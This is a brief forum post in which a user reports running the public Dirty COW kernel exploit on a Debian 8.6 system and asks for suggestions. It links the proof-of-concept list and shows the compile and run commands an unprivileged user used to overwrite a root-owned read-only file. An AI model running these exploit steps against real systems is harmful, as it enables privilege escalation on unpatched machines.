Hi all, I have been reading security articles and I seen a test with Debian Linux vulnerability of kernel. I tested and given a successful exploit.
List a vuln: https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs My testing: dirtycow.c (status: success) cowroot.c (status: success) For example, I have installed Debian and kernel version are as follow: Linux 3.16.0-4-amd64 (Debian 8.6) I created a "zoo" file with root privileges and locked a file: # echo I'm a root > foo # chmod 0404 foo # ls -la foo -r-----r-- 1 root root 11 Nov 7 10:13 foo then I'm return my user (not root) and I downloaded the exploit script and run it: $ gcc -pthread dirtyc0w.c -o dirtyc0w $ ./dirtyc0w foo blabla $ cat foo blabla what is the suggestion on this exploit?
